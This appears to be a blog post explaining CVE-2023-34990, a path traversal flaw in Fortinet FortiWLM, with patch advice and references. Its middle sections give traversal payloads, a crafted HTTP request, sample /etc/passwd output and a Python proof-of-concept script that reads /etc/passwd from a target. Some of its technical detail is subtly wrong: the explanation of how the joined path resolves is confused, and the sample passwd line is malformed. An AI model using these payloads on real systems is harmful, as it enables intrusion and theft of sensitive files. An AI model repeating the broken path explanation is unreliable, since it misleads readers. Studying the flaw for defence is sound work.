CVE-2023-34990 is a critical vulnerability affecting Fortinet FortiWLM, a popular wireless LAN manager. This bug allows attackers to exploit a path traversal flaw and potentially execute unauthorized code or commands by sending specially crafted HTTP requests. In this post, we’ll break down the issue, show you how it works with code snippets, discuss its impact, and link to original sources.

Impact: Code or command execution

- CVE: CVE-2023-34990
- Original Advisory: Fortinet Advisory

2. What is Relative Path Traversal?

A relative path traversal lets an attacker trick an application into accessing files and directories outside of its intended directory. This is often done using sequences like ../ to “climb” up the directory tree.

If a web application copies, reads, or writes files based only on user-supplied input, and it fails to clean or check these inputs strictly, attackers can sneak in path traversal sequences and access restricted content or even run code.

3. How CVE-2023-34990 Happens in FortiWLM

FortiWLM is meant to help network admins manage controllers and access points, but in the vulnerable versions, a web request can be crafted that takes advantage of insufficient validation of path inputs.

A typical HTTP request, such as one for downloading a log, might look like

GET /download?file=logs/event.log HTTP/1.1
Host: fortiwlm.example.com
Cookie: session=abcd1234

But if the backend does this when handling the request

def download_file(file):
    base_path = "/var/log/"
    file_path = os.path.join(base_path, file)
    with open(file_path, 'rb') as f:
        return f.read()

There’s a problem! If file is ../../etc/passwd, then the code reads /var/etc/passwd, which actually might hit the real /etc/passwd depending on the join and server configuration. If this path isn’t checked, anything readable by the app can be accessed.

Attacker figures out a URL that lets them specify a file path.

- Attacker specifies something like ../../../../../etc/passwd as the file name.
- App reads and sends back contents of /etc/passwd or other sensitive files.

Let’s imagine an endpoint /download?file={filename}

GET /download?file=../../../../../../etc/passwd HTTP/1.1
Host: fortiwlm.example.com
Cookie: session=abcd1234

If unpatched, FortiWLM may respond with the contents of the passwd file — which, on Linux and Unix, lists user accounts.

Response

root:x:::root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

But attackers often take it further. If configuration files or script files can be accessed or overwritten — or if the attacker can figure out where temporary files are stored — sometimes it’s possible to upload or plant code that’s then executed.

Below is a simple Python PoC script using requests to fetch /etc/passwd

import requests

url = "https://fortiwlm.example.com/download";
payload = "../../../../../../etc/passwd"
cookies = {'session': 'abcd1234'}   # Use a valid session or find a way to get one

r = requests.get(url, params={'file': payload}, cookies=cookies, verify=False)
if 'root:x:' in r.text:
    print("Path traversal successful! /etc/passwd content:")
    print(r.text)
else:
    print("Exploit failed or patched.")

6. What Can Attackers Actually Do?

At a minimum, exploitation can leak sensitive files — config files, secrets, passwords, and more.

If the attacker can manipulate upload folders or configuration, and if further flaws exist (like the ability to upload scripts to a web root), then remote code execution is possible. The attack then escalates from merely “reading” files, to executing malicious commands.

7. Fixes and Mitigation

- Upgrade: Patch to FortiWLM 8.6.6 or higher, or 8.5.5 or higher. (Vendor Download)
- Web Application Firewall: Block suspicious requests with payloads like ../.

8. References

- Fortinet Advisory FG-IR-23-157
- CVE details for CVE-2023-34990
- MITRE entry

9. Conclusion

CVE-2023-34990 is a strong reminder: always carefully validate user-supplied input, especially when file paths are involved! FortiWLM users should patch *immediately* if they are running affected versions. Attackers are always probing for these simple but deadly mistakes — don’t make it easy for them.

If you’re running FortiWLM and unsure if you’re patched, check your version and upgrade now or contact your vendor for assistance.

Timeline

Published on: 12/18/2024 13:15:05 UTC
Last modified on: 12/18/2024 15:15:06 UTC